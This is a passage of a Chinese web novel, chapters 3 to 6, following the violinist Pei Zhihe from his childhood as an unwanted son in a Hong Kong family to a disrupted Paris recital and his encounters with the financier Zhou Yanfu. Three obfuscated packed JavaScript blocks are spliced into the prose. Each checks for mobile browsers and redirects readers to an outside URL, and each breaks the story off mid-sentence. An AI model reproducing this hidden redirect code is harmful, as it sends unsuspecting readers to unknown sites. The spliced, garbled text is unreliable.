《重生后对老婆又偷又抢》 3. 第 3 章 裴枝和的小提琴之路远远晚于任何所谓的名童和天才。 以私生子身份被召回裴家的他,没有得到任何有益的对待,不止几个兄弟姐妹欺负他,连他们的保姆也能动辄拧他掐他,他常年穿衬衫,别人笑他穷酸鬼装排场,其实是因为长袖遮淤青。 人人说起来,都说承蒙裴家主母大恩不弃,他这个肮脏的私生子才得以生活在生父身边。但在裴家,他入赘来的生父尚且要仰人鼻息,又怎么敢光明正大照顾他?知道晚上吃不饱肚子,偷偷给他塞块小饼干就是尽了父亲职责了,离开的背影匆忙,让裴枝和过早地想象到他和母亲偷.情后离开是否也是这样。 九岁,裴家大少爷考入一等学府,裴家大宴宾客。趁众人热闹,裴枝和偷偷潜进他书房。这位大少爷不仅学业一等,欺负他最有花招,就连琴也拉得一等好。等会儿他就要当众拉一首马斯涅的《沉思》,为此昨夜琴师专程登门来调弦试音。 裴枝和要在这把琴上动手脚,破坏掉这场演出。 没有人知道他学过琴。在被送到裴家前,虽然日子过得普通,但苏慧珍依然花钱培养他高雅兴趣。老师水平一般,倒是夸过他有悟性。七岁,他被接回裴家前夜,苏慧珍耳提面命:豪门大宅内,事事须低调,不掐尖,不抢功,不冒头。 裴家小孩各人学各人的专长,延请的皆是名师。裴家主母象征性地要他挑一样跟着学。大少爷身边的保姆道,她老家揭阳有一位曲艺大师,十里八乡都极有名,谁家婚丧大事都少不了他,最适合三少爷了!毕竟三少爷生母也是戏子,基因里自带的本领,学起这些逗唱把戏必然胜人一筹,将来也正好子承母业。 众人都笑,夸大少爷的保姆想得周到。 裴枝和跟这位揭阳来的“曲艺大师”学了两年艺。学艺是苦功夫,又是封建行当,师父如再生父母,打死你也是为你好。这位大师初来时眉清目秀,过了一周便是青面獠牙了,因为看出了这位三少爷出身比他贱。 九岁这年家宴,月光很亮,裴枝和这一生都记得。 他不敢打开书房灯,怕惊扰佣人,遂提着琴到了阳台,短短几步路走得手足冰凉,心脏快吐出来。 就着月光,他一时不舍得坏这琴了。多么好看的光泽,多么好闻的木香,多么沉润的触感。人都聚在大厅,裴枝和贪馋地想,就拉一下试试看。就拉一下。 马涅斯·《沉思》。从前学琴时他最喜欢的曲子。悠扬,沉静,像电影里两个人相遇时会播放的旋律。 裴枝和闭上眼睛,小提琴搭在肩上的触感是如此久违,令他深呼吸了一口气。 …… “真好。” 收弓后的静谧中,有人突然说。 才十一岁的小不点,身体和视线都被阳台挡得严严实实的,但裴枝和还是条件反射地一蹲。 那个人在楼下自顾自地回味着说:“运弓克制,揉弦细密,高音亮。” 他声音听上去与自己年纪相仿,但说起话来有股与年纪不符的沉着笃定。 裴枝和被他说的面皮发烫,咬咬牙,小心放下琴,两手攥住了郁金香形的阳台栏杆条,踮起双脚,将视线探下去。 一个穿西服打领结的小少爷、小公子哥,两手很故作老成插在裤兜里,仰起的脸曝露在月光下。 看到一张比自己还小点儿的脸,这位小公子哥也困惑了,眉心皱着,思索着,自言自语:“这怎么可能……” 片刻,脱口而出:“你是裴枝和?” 骤然被点名,裴枝和手一抖。草率了,也许他是那帮哥姐的同学,一丘之貉,不会看得起他。 楼下那人却没发现他沉默之下的警惕和敌视,反而问:“我能上来找你吗?” 裴枝和迟疑了一下,刚点了一下头,这人就跑了,一边跑一边不知道跟谁说:“明叔,帮我把风!” 过了五分钟,书房门被推开,曳进走廊的一丝亮光。 两个不大点的小孩对视,互相打量。裴枝和这才发现他比自己高很多。 “作为埃及名妓的泰伊思,遇到了阿塔奈儿这位僧人,僧人立志将她从浮世中解脱出来,泰伊思陷入了深刻的犹豫和挣扎中,一边,是尘世的名利,欲望和享受,另一边,是灵魂的净化与皈依。她将一无所有吗?还是她将失去该失去的,拥有真正值得拥有的?” 裴枝和问:“这是什么?” “马涅斯写《沉思》的故事背景。” “你真厉害。”裴枝和由衷地说,“我的老师没说过这些,就让我练。” “没什么,掉书袋而已,你读过的话你也会。”他接着话锋一转:“这不是你能演的曲子。” 裴枝和脸色白了一白,薄唇紧抿,小脸绷得面无表情。 “我的意思是,它不是小朋友能懂的曲子。可是你拉得很好。有《沉思》该有的韵味。” 裴枝和没被老师夸过,他顶多说过他音准还不错,手也蛮稳。也许是和苏慧珍暗示过他有一点天赋,但苏慧珍认为这是老师用以索要贿赂的伎俩,选择了无视。 “你是来取笑我的?”对他的夸赞,裴枝和表现出了抵抗,“我就学过一年琴。” “那……”对方犹豫了一下,思考片刻,再抬头时,脸上没有任何嬉笑,反而充满着笃定:“你是天才。” 在光线黑沉的书房里,月光晒不进的深处,他站着,轮廓明晰,如一尊小小的神祇。 “你是天才。” 走之前,他挥手,说:“忘了自我介绍,我叫商陆。” 如果只数一间豪门,香港唯一的豪门只能姓商。而他是这个商家的二公子。 · 九岁那年裴家的宴会,许多人和裴枝和一样难以忘怀。 在大少爷演奏完《沉思》后,大厅掌声雷动,裴大少爷在母亲和父亲的爱护下居中站着,父母的双手皆充满骄傲与荣宠地抚摸在他的头上、肩上。 直到商陆突然说,刚刚听到另一个人演奏的《沉思》也很有味道。商家大人让他不要捣乱,裴家人却必得给他面子,问是谁。商陆说,也是个小孩,男孩子,穿西服,大概多少高,什么发型。 他越说,目标圈便越小,直到众人都将目光聚集到在角落一声不吭的裴枝和身上。 “三少爷不会拉琴,你一定是搞错了。”裴家主母道,“他学的是唱戏,你要他打两个滚,他是在行的。” 裴枝和的生父忙不迭地带头笑起来,说:“这么助兴也未尝不可。” “那阿姨和我打个赌吧。”商陆笃定地说,“君无戏言。” 他和她赌,要是裴枝和就是那个能演奏《沉思》的人的话,裴家就给他请全香港最有名的名师。 从小跟随母亲东躲西藏的私生子,主宅中的可有可无的细弱卑贱的幽灵,面对着前所未有的注视,从空气中嗅到的不是兴奋和机遇,而是是威胁、警告,是等待落井下石的骚动,是奚落。 压力如山洪倾泻。 但在能杀死人的沉默中,裴枝和顶出了他稚嫩的牛角——他往前一步,捏紧拳头,稚嫩之声响彻大厅:“我愿意试试。” 琴到了他手中,全场为之屏息。 在提弓演奏前的两秒,裴枝和脑子里回响的不是启蒙师父教授这首曲子时的技术细节,而是一个小时前商陆跟他说过的,泰伊思的徘徊。 如果他是泰伊思,他一定会问,为什么道德的拷问历来只倾轧稍稍得利的弱者,为什么被抛入名利与心灵净化二选一困境中的,永远是像泰伊思这样靠着一点小能耐一点小伎俩一点小出卖的底层人普通人,那些生来大富大贵的人呢?那些躺在父辈金山银山的人呢?这些,从小视锦衣玉食为理所当然的裴家大少爷怎么会懂,又怎么会思…… 裴枝和的乐句转折,带着刻意放空的半瞬,牵引听众在旋律中忏悔的神经。旋律攀上高把位,音色纯净,如女人的歌喉,如此的明亮,如此的柔和。 这一支《沉思》,裴枝和没能演完,因为裴家大少爷摔杯离去,而现场鸦雀无声。 ·< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786556|190489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>巴黎爱乐音乐厅。 演奏厅的灯光熄灭,舞台.独亮,空气中压抑着悸动。 终于,法英双语字幕亮起:《巴赫无伴奏小提琴奏鸣曲与组曲》。 掌声在演奏者登台前便已爆发开,一波又一波经久不息,在演奏者登台后,更是爆发出惊人的阵仗。 裴枝和带着他那把斯特拉迪瓦里向观众池微微鞠躬,继而将琴搭上肩膀。运弓前,他的目光停在了第一排正中的那个空位上,短暂数秒,过往半生。 他十二岁即孤身来里昂学琴,说是留洋,其实不过是流放,过的比一般留学生更不如。直到两年后商陆也来了法国。自此以后他学音乐,他学电影,形影不离。他把他纳入羽翼之下,免他世界阴雨连绵;而他对商陆的仰望、依赖,也渐病入骨髓。 十四岁,学琴两年,裴枝和参加耶胡迪·梅纽因国际青少年小提琴比赛。那一场比赛,他紧张到满嘴溃疡却闷声不吭,大幕拉开,第一眼便看到坐在第一排的商陆。 十五岁,他登上里昂歌剧院,与里昂国家管弦乐团合作。这是他首度登上大型演出舞台,演出前三天,他寝食难安,除了练琴便是喝水,依然满嘴燎泡,直到登台坐落,视线一抬,商陆仍是那样笃定地坐在他目光中。 在某个等待指挥棒落下那一秒前,裴枝和忽然地想,日子会永远这样地过下去吧。人生海海,但他有一根定海神针。 他开始习惯于每场演出都锁定一个前排位置。只不过随着商陆回国、随着他遇到了他命定的缪斯,裴枝和预留的这位子越来越频繁地空着,以至于渐渐成为他的标志。人们说,那是他故意留给自己的。 · 演出厅外的贵宾通道,男人仍气定神闲地等着。 剧院经理当然知道这位演奏家有很多怪癖,不爽起来连欧洲王室都拒绝,但两害相权取其轻,比起一个艺术家来说,正等着的这位能量显然更强。 经理下定了决心,一躬身一递手:“路易先生,请随我来。” 演奏已开始五分钟,整个大厅笼罩在柔美的黑暗中,如痴亦如醉。经理将人带至第一排唯一的空位,请他落座。就着光暗暗觑一眼,他人却愣住—— 这个传说中不可一世的男人,目光停驻在舞台唯一的主角身上,没有感到新鲜,亦没有表现出兴味,有的只是沉静和寂寥。 仿佛,已经看过这场演出千百次。 台上弓弦如行云流水。 巴赫无伴奏小提琴奏鸣曲,第1号,B小调,快板。 巴赫的这组奏鸣曲和组曲,被称为小提琴的圣经。巴赫不仅在其中设计了小提琴所能用到的一切和弦,将技巧难度推向高峰,无伴奏的形式也对演奏者提出了更高的要求,任何一丝走神,都会导致技法的变形或气质的失控。 现世演奏家中,会将巴赫小无作为独奏会曲目的屈指可数,何况裴枝和这样一个初出茅庐的新星。 果然,一丝不该有的停滞、一丝几不可察的颤音,出现在了这广袤沉静的旋律之中。 裴枝和自琴谱上抬起的视线迟迟没有收回,与座位上凭空冒出来的男人对视。 但也不是对视。与其说他在看他,不如说他在看那张座位,继而以一种错愕、不敢置信和深感耻辱的神情,决绝地收回了视线。 他的眼里没他。 快板结束,裴枝和勉强发挥出水平收弓,继而微微鞠躬,头也不回地走掉。 这远没到中场休息时间,满场皆懵,不知该鼓掌还是等待,窃窃的交头接耳声在乐厅的穹顶下放大。 · “什么叫他不走你不演?”经纪人艾丽懵了。 围在他身边的艺术总监、制作人、票务、助理,叫得上名叫不上名的,也都懵了。 艾丽废了九牛二虎之力才通过苏慧珍和商陆的认可,签下了裴枝和的经纪代理。他是她后半辈子的摇钱树、祖宗爷,但这位爷现在要自掘坟墓! 裴枝和坐在靠背椅上,面色苍白倔强:“字面意思。” 4.第 4 章 后台陷入了一片混乱。 古典音乐史上临时辞演或者中途辞演的情况都不少,但那通常发生在乐团中,一个不行了还有另一个顶上,像这种唯一的演奏家中途退场的情况,是,确实也有,确实也不妨碍历史成神,但那是后来!哪个当下不是被乐迷喷成筛子的? 艾丽忍住宽面条泪,试图通过苦口婆心讲通他:“枝和,你听我说,这是你沉寂后的第一场独奏巡演,你不能搞砸。” 裴枝和别过脸,闭上眼,一脸拒绝沟通的样子:“我演不了,退票吧,所有经济损失我一个人报销。” 主办方艺术总监:“what?” 裴枝和:“违约金我也赔。” 艾丽摇晃了一下:“what?! 呆滞数秒后,彻底陷入疯狂:“你别想混了你!你以为你是格伦·古尔德还是斯维亚托斯拉夫?斯维亚托斯拉夫可以因为拒演一战封神,你他妈的,只会糊得透透的!” 裴枝和仍然闭着眼,只给众人一条沉默的侧脸曲线,的纤长的鸦黑睫毛颤也不颤,表示着他的决心。 “那只是一张座位!”艺术总监近乎咆哮。 “对,那只是一张座位,但它是我的!”裴枝和豁然起身,漆黑的眼眸里射出嘲弄:“有这个能耐,为什么不去把他赶走?凭什么被侵犯边界的是我,让步的也是我?你种族歧视?” 艺术总监:“……” 艾丽气呼呼中冷不丁来一句:“人家跟你一个人种!” 作主把人放进来的剧场经理一声不吭,埋头抹汗,凑上去跟艺术总监耳语几句,讲明那尊神的身份。艺术总监果然目光闪了一闪。 裴枝和直接冲两人来:“不是就一张座位而已吗?那就把他赶出去。” 艺术总监举起双手:“坦白点,人不是我安排的,不关我的事。” “你呢?”裴枝和目光咄咄射过去,剧场经理头皮一紧瞬间就想给他跪下了:“我老母今年八十……” 眼看场内议论声加剧,舞台监督小心上前,想问问是不是说一两句安抚一下。艾丽一把夺过话筒,挑衅道:“行,裴枝和,你有个性你有种,那你有本事自己跟观众说,除非让那个男人从座位上get the fuck out,否则你不演。” 裴枝和冷笑一声,劈手拿过话筒,正待推上开关讲话,艾丽便又一把将之抢了回去,咆哮道:“我认输!!!” 舞台监督风中凌乱,护着话筒像护个小鸡似的遁远了。 场内终于响起他的播报:“各位女士先生,很抱歉地通知,由于乐器突发故障,演出暂停,我们正在全力寻求补救方案。” 场内躁动越烈,有人吹口哨,有人质问,有人走动。甚嚣尘上间,第一排的男人垂首哼笑了一丝,似某种认命或释然。继而他起身,戴着黑色皮手套的手将西服扣子一粒一粒扣上,转身迈上通往出口的台阶。 后台。 小的没搞定,老的也来拱火——艾丽被苏慧珍的电话搞得焦头烂额:“对阿姨,我们正在劝他……什么?让他接电话?不,小枝现在拒绝跟任何人沟通……什么?不不不,您千万别来后台——”添乱! 裴枝和呼吸吐纳,心平气和:“我没有刻意刁难你们,而是有人坐在那个位置,我就不能保持专注,不能奉献出最好的状态。这样的演出对观众有什么意义?” 这倒符合他的音乐洁癖。 众人面面相觑,动摇间,忽而舞台监督气喘吁吁地推开了大门:“那个位子空了!” “真的?”艾丽啪一下按断电话:“你确定?” “千真万确。” 裴枝和按捺住心绪:“怎么知道不是临时出去接电话上洗手间?” 聪明的报幕声再次响起,这次是恢复演出的通知,给出了五分钟倒计时。果然,先前站起身活动筋骨的人都陆续回座。 四分钟过去,演出厅再次满座,唯独第一排那张。 猫在幕后的艾丽双手合十谢天谢地。真是老天保佑,当代社会这么有眼力见儿的人不多了……一直神隐的剧院经理飘到了她身边,咳嗽一声清了清嗓子:“听说你们华裔喜欢称呼他周阎浮,或者周先生。” 艾丽:“谁?” 经理:“阿伯瑞斯基金会的创始人,坐了那张椅子又被你们霸凌走的人。” 高跟鞋一崴,艾丽:“……” 观众不吝以最好的掌声欢迎演奏家再度登台。 裴枝和深鞠躬道歉,这之后,他以持续饱满的状态结束了今天的演出,并超出计划献上了两支安可曲。 这是裴枝和演出生涯谢幕最多最久的一次,事先交待好的媒体记者蜂拥到台下,为他拍摄这场独奏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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拉小提琴不需要双腿,而这技巧充沛又珍贵脆弱的两手,是他和商陆过去十年唯一剩下的见证。 预想中的骨头断裂的疼痛并没有诞生,取而代之的,是一个沉稳坚实的拥抱——来自男人。 这不像一场混乱中的临时起意的营救,更像是预先演练过数百次。咚的一声,在精准而完全地接住裴枝和后,这个人用连续数个充满技巧的翻滚,巧妙地卸去了那股破坏性的力量。 周遭哗然退为潮水,裴枝和愕然睁开了紧闭的眼。 他不是错愕于居然如此恰好地被人接住,而是错愕于这人掌在他后脑勺与后颈之间的手,严严实实,紧密熨帖—— 这是个过于柔软和亲密的姿势。 5.第 5 章 这头条简直一条接一条!一时间,所有的镜头又都对准了舞台下。艾丽可恨今天穿了高跟鞋包臀裙,高跟鞋声踩成了风火轮,好不容易冲到了那边,却见到一个金发男人已拦在了两人跟前。 “不要浪费快门了。”他半举着两手,懒洋洋笑着:“反正拍了也会消失。” 他身量高、块头大,虽然五官笑着,却让人不敢妄动—— 因为他手里有枪。 “还有你。”他套在右手食指上的枪被灵巧有力地拨弄着转了个圈,继而笔直地指向了舞台的某一个方向。 “踹了人就跑,这对吗?” 所有人都愣愣地跟着他枪口的方向转。只见一个戴眼镜的瘦弱男青年夹在人群中,正是想遛的姿势,一看这阵仗,顿时两腿筛糠,举起了两手。 艾丽趁势狂打响指,让保安们拥上,继而赶忙趁机将裴枝和拉了起来。 他没伤到分毫,起身后的第一时间仔细地检查双手,活动关节和肌肉。 周阎浮在地上多赖了几秒,确定这人根本不可能顾上自己以后,勾唇笑了笑,自己起了身。要毫发无伤地接住一个成年男人是不可能的,不用确认他也知道,他的后背有多处挫伤,手肘关节被震出的麻痹到现在都还没有消退。 “奥利弗。”周阎浮叫了一声,示意他见好就收。 于是在众人眼里凶神恶煞的男人便听话地站到了他身边。他没问周阎浮伤得怎么样。不曝露伤势是他们这行人的规矩。 这场混乱最终以警方的介入而告终。治安官鞍前马后,对滞留现场的粉丝们恩威并用极具派头,对媒体却是另一番操作,长袖善舞可见一斑。等处理完想去邀功混脸熟,守在门口的那个保镖表现出了生人勿近的架势。 演奏家休息室。 裴枝和想道谢的心随着认出了来人而烟消云散。 是他,瓦尔蒙伯爵的债主,也是今天不知好歹坐上商陆专座的讨厌鬼。 裴枝和潦草轻慢地走过场:“谢谢你今天出手相救,有任何后续医疗需求的话,可以直接联系我的经纪人。” 你要死吗!艾丽内心疯狂咆哮!这是周阎浮! 他是哪国人不重要,有多少钱也不打紧,要紧的是,他拥有“阿伯瑞斯(Abres)基金会”。这是整个欧洲资金规模最大、背书力最强的艺术基金会,只要搭上,再寂寂无名的艺术家也能一飞冲天,甚至名留青史!过去半年,艾丽的主要运作方向之一就是跟它搭上线。 平心而论,靠着学院派出身,艾丽在古典乐方面颇有人脉,甚至和基金会秘书长约上了一次下午茶。但秘书长讲话云遮雾罩:“最近有关器乐演奏家的发掘计划都暂停了,要等一个天才。” 天才?艾丽两眼放光。当世论天才,谁还比得上—— 秘书长:“既然枝和的名字已经写在市面上,那就说明不是他。” 艾丽:“……” 面对秘书长的衣食父母、基金会里唯一具有生杀大权的男人,艾丽火速表演了一个卑躬屈膝:“周先生您受惊了!今天真亏有周先生,否则我们枝和真不知道怎么办啊。刚好枝和也得去医院做检查,我看不如——”艾丽眼珠一转,笑颜如花:“两位就一起吧!” 裴枝和:“?” 周阎浮微微勾唇,风度无愧于身上的一切高贵传说:“悉听尊便。” 裴枝和还想挣扎:“我没事,不需要检查。” 艾丽双手合掌心花怒放:“但是周先生肯定受伤了吧?” 裴枝和:“你好像对他受伤很高兴。” 艾丽:“……” 阿弥陀佛哈利路亚,上辈子杀人放火这辈子签了这个专给自己挖坑的小朋友。 送人去医院的专车停在了贵宾门口外。奥利弗接手了方向盘,将艾丽赶到另一台车,理由明确:“路易不喜欢车子满员。” 艾丽像个放心不下的老母亲,在裴枝和耳边千叮咛万嘱咐不要乱说话。事实上她想多了,裴枝和一直在刷手机,根本顾不上留意身边人。 今天的事不可能不出现在互联网上,他机械性地在几个社交平台上来回切换,看似忙碌,实则眼里根本读不进任何字。 私生子这件事是梦魇,在他求学成名的道路上如影随形,曾让他被名师拒之门外,也曾让他被乐团联名拒演。贵妇邀请他参加私宴,又让他徘徊门外而不得入,任凭他如何解释、亮明身份,都不得入内。阳台上传来笑声,他抬头,方知自己是戏。 一年前,苏慧珍的所作所为和他的身世被踢爆在互联网,裴枝和只觉得解脱。这样也好,好过他活在粉丝给他一厢情愿编织的豪门贵公子套子中装模作样,演得久了,连他自己都差点信了。实际上,所有的仰慕和欣赏他都不配,不如就趁这次把这些都洗掉,都赶走。他身上的光芒,只是皇帝的新衣。 中英社交平台上,“枝和”这个词条下的内容波澜不惊,一派祥和。 “不用搜了,今天发生的任何事都不会出现在互联网上。” 被看透点破的感受一点都不好。裴枝和锁了手机,面无表情看过去:“周先生又懂了?” 周阎浮两腿交搭,深邃的五官上未泄露一丝情绪:“只是告诉你不必焦心。” “这恐怕跟你没有关系。” 以周阎浮的身份,多少人想跟他吃个饭喝个茶而不得,更何况是同乘一车。照理来说,巴结攀附还来不及,怎么这人口气这么冲?奥利弗忍不住问:“你惹他什么了?不应该啊,这个待遇。” 他特意用的阿拉伯语,防止裴枝和听懂。 周阎浮也用阿拉伯语回复,声线沉稳一如往常:“开好你的车。” 奥利弗嘴碎:“你这趟救得太亏了,让我猜猜,你现在后背肯定疼得受不了吧。” 这个男人的来时路,恐怕这世上只有他一人知道。那是枪林弹雨、血腥斗兽的世界,他后背的累累伤痕既是荣耀,也是见证。 这倒提醒了周阎浮:“等下到医院,提前打点好医生。” 奥利弗来了兴趣:“把伤往重了说?” 挟恩图报,他懂。 “不。”周阎浮蹙眉阖目:“就说我毫发无伤。” 奥利弗闭嘴了。 后半程路,车厢陷入绝对的安静中,只有奥利弗从细微的呼吸变化中知道,周阎浮在忍痛。 医院里很热闹。虽然没有媒体打扰,但闻讯而来的苏慧珍还是闹出了很大动静。她要求至少有三位名医会诊,还要求有清场待遇。先一步抵达的艾丽头大如斗,这位贵妇当她是什么!真以为嫁个伯爵就成人上人了吗! 但在一通莫名的电话后,医院居然真的弄出了专用通道和诊室,并确保整个就医过程完全秘密、无人目睹。 苏慧珍心满意足的神情在看到周阎浮的那一秒消失殆尽,至于陪在她身边的瓦尔蒙伯爵,则更是脸色惨白。 艾丽当他们是初次见面,忙着引荐:“这位是周先生,法国名路易,就是他救了小枝。” 苏慧珍心里一沉,又是一荡。 她是个信机缘巧合的人,信宇宙给她的一切蛛丝马迹冥冥暗示。竟有这么巧的缘分?这么好的事? 这一沉一荡间,她亮出招牌笑容:“真没想到能和周先生这么快就再次相见,上次婚宴上招待不周,正想找个时候登门致歉呢。” 寒暄的另一边,奥利弗推开诊室门如入无人之境。 玻璃门封上了他那轻车熟路的一句:“抱歉,安全检查。” 比起妻子的自如谄媚,瓦尔蒙伯爵脸上出现了极度的忍辱负重,让裴枝和感到不忍。毕竟是个七旬老人了,家道中落、对债主卑躬屈膝的滋味不好受。 周阎浮倒没有怎么刁难二人,而是赞许了一句:“令郎的演奏令我耳目一新,身心俱悦。” 这句话一出,裴枝和心一沉,立刻去看母亲的脸色。 苏慧珍是愣的,瓦尔蒙是怒的,艾丽则是狂喜——这不怪她。 刚好奥利弗的安全检查结束了,周阎浮点头致意:“令郎先请?” 苏慧珍从怔愣到受宠若惊只在一瞬间,忙不迭推了裴枝和一把,嗔道:“还不快去?这里数你最金贵。” 对于她的用词,周阎浮微微一笑,继而推门入内。 其余人正待跟进,奥利弗却叉开腿往门口一站,俨然保镖模样。众人识趣,面色各异地在候诊区沙发坐下。苏慧珍和伯爵没等安可曲奏完就离场了,故而没看到事发现场,此时在艾丽的描述中一一拼凑细节。伯爵震怒于这些黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795412|190489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉的猖狂,而苏慧珍反复盘问的,却是周阎浮出现的细节。 可惜艾丽也缺了好多环,讲不清这个男人明明从那专座上走了,是如何其实没走、又是如何刚好出现的。苏慧珍问了半天没问出细节,颇有些扫兴,怪艾丽办事不力。 她是瞧不太上艾丽的,可惜当年商陆认可她,认为她值得托付,而裴枝和对他言听计从。 诊室内。 裴枝和一检查完就想走,被强行叫住。 周阎浮:“你就不想看看我有没有受伤?” 到底是为了救他才这样。裴枝和忍耐住,一脸高冷地在小沙发上坐下。没两秒,又蹭地一下弹了起来—— 周阎浮当着他的面开始解衬衫扣子。 黑色府绸衬衫下的身体雄悍凌厉,随着衣扣一粒粒的解开,极具冲击力地暴露在了裴枝和眼前。远胜常人的骨量和起伏遒劲的肌肉带来了如出笼野兽般的掠杀气息,而尽数往后梳拢的的黑发、锋利的直鼻,也都在强调他的危险。 裴枝和捏紧双拳,说不清是无所适从还是愤怒。 何其狂妄嚣张讨厌不要脸的男人,居然敢用身体污染他的视线! “我走了。”他丢下硬声硬气的一句。 周阎浮没拦他,而是淡淡地问:“这么说,枝和小姐从没进过泳池。” “小——”裴枝和脸色涨了通红,“低级。” “给这位lady一颗巧克力,免得他等下被吓晕过去。”周阎浮对一旁的医疗助理说。 “呵。”激将法还是有用。裴枝和冷笑一声,一屁股结结实实坐回了沙发:“不必!” 周阎浮微微侧目,递了个眼神。装满巧克力的玻璃盅被放到了裴枝和手边。 事实上他的体质很容易低血糖,每次表演完吃上两颗巧克力已成习惯。这种细节只有很亲近、长期陪在他身边的艾丽才知道,今天突发变故,艾丽一时没顾上,他也懒得张口,便一直忍着头晕恶心。 裴枝和耐了两秒,硬邦邦地也不知道在跟谁宣告:“我饿了。” 继而优雅地伸出指尖,拈起一粒,剥开糖衣——一骨碌整个塞进嘴里。 细小的咀嚼声在静谧中听起来沙沙的,像什么小动物在偷偷进食。 周阎浮嘴角轻微一扯,一丝笑意淡得几不可察。随即,他抬手,将衬衫一脱而尽,背过身去面对医生而坐。 咀嚼声蓦地停了,裴枝和含着半粒巧克,错愕地看着这具后背。 这是一张残酷到让人产生畏惧,甚至诞生了某种庄严感的后背—— 深浅不一的伤痕交错在他光滑的皮肤上,在左侧肩胛骨下方,几乎与心脏擦着的位置,一个圆形伤疤微微凹陷,显然是枪孔所致。背肌的线条如山峦般稳固有力,而在两扇肩胛骨之间,一行异族文字与图腾组成的纹身,是如此显眼。 “Ankh djet, nefer ma’at.” 裴枝和无法辨认这些书写字母,而无从得知这是出现在古埃及有关太阳神碑刻里的字句。字母环绕着中间一只展翼的鹰,仿佛一条咒语或铁链,而那只侧首的鹰则是目如钩,翼如风,锋利的爪擒着字母链条,不知道意味是擒获还是挣脱。 裴枝和目不转睛地看着,久久忘记吞咽。 “吓到你了?”周阎浮微微偏首。 “没有。” “都是陈年旧伤,跟这次没关系。” 接收到他眼神暗示的医生果然说他一切无碍,只是有些软组织挫伤而已。 黑色衬衣一振,被周阎浮穿了回去。他微绿的眼眸盯了裴枝和片刻:“你好像松了口气。” “不至于。”裴枝和起身,“周先生身份非同凡响,就算受了伤,也不会和我这种升斗小民计较。” 周阎浮又看了他一眼,扯出一丝淡淡的笑意:“口舌之快。” 被当小孩了。 裴枝和抿了抿唇,不爽。但没关系,反正只要推开这扇门走出去,一切就都结束了。他深吸一口气,就在指尖即将触到门把手时,周阎浮的声音再度响起。 “那天书房外,你应该已经听到了。” 裴枝和身体一僵。 “你的继父欠了我一个多亿。你觉得,他会用什么方式偿还?” 6.第 6 章 “还是说,你认为假装毫不知情就能躲过去?” 周阎浮轻描淡写地问。 裴枝和承认,他一路装聋作哑就是为了不让周阎浮有机会提及此事借题发挥。却没想到,他从一开始就知道那天他在书房门外。 母亲成婚前没有调查清伯爵的资产情况,是他轻率了,虽然告诉母亲此事要她自己想办法,但毕竟她和伯爵的姻缘因他而起,要他完全漠然视之他也做不到。如何帮、帮到哪个尺度,他如今还没想好,但对付债主这种事,他万万没兴趣。 不等裴枝和整理好思绪,诊室门便被推开。裴枝和一抬眼,撞入好几张或期待或紧张的面孔中。 “他没事。”裴枝和先交代了所有人最关心的事,继而才补充自己:“我也没事。” “大吉大利大吉大利。”苏慧珍双手合十拜了拜,往前一步迎到周阎浮面前,殷勤老道:“这次小枝没事要多亏了周先生,您一定要给我们一个表达谢意的机会。” 周阎浮扫了一眼裴枝和,裴枝和早把脸扭向一边。 “令郎看上去心情不好。” 苏慧珍一尬,想辩白几句是他小孩子心性,却听到周阎浮接下来一句:“做母亲的,私生活给儿子带来这么大的风险,却点表示也没有?” 他说得低沉无波,眼神也淡,深邃的眉骨在灯影下头下一道锐的影,让苏慧珍内心结结实实的一沉。 她讪讪笑了一下:“让您见笑。”又去找裴枝和说软话,替他理鬓角,抚衣褶,慈母面孔。 在周阎浮的审视下沐浴母爱光辉,裴枝和不是滋味。已预料到不偿还人情就没有安生,他抿了抿唇,自我放逐式的赌气姿态:“既然如此,择日不如撞日,就请周先生赏脸吃个饭吧。” 几人面色都是一喜,算盘声响彻。 周阎浮挑眉,身躯微微俯下去,语调带一点懒散:“枝和小姐的好意我心领了,不过,你凭什么觉得你开口了我就有空?” 裴枝和:“……” 艾丽看着对方离开的背影:“他为什么要叫你小姐?” 裴枝和面孔结霜:“因为我不肯看他脱衣服。” 艾丽看看他,又看看那间密闭的诊室,头上缓缓冒出了一个问号:“?” · 从医院出来,夜色已黑得很彻底,正是巴黎最迷人的时段。每条街上的酒馆和甜品店都亮起了灯,人们坐在临街的玻璃亭中,靠在藤编椅上,在鲜花与啤酒、红酒的香气中把酒言欢。 奥利弗试探问:“喝一杯?” “不了。”周阎浮眼眸紧闭,徐徐吐出一口气,“叫赵师父来。” 奥利弗立刻会意到他已疼痛难挡。 巴黎六区,塞纳河左岸,一间低调的文艺书店正在营业,店内顾客寥寥。没人留意到有两个男人靠近,沉默而敏捷地穿过店内如迷宫般的布局,来到后门。后门设多重生物识别密码,解锁后,一部老旧电梯刚好停靠在一楼。 身为保镖,奥利弗习惯了任何场合都先于周阎浮靠近。确定电梯无异样后,周阎浮方才入内。里面没有数字按键,仅有一个字母【T】,直通顶层复式。 这是周阎浮在巴黎的安全屋,看似只是一个位于六楼的平平无奇的公寓,实则整栋大楼物业均处于他名下,进行过严密的改造:防弹玻璃、全天候联网家居、停机坪、紧急通道,就连楼下的书店也是伪装的一部分。 周阎浮泡完澡时,奥利弗正好将赵师父带上来。 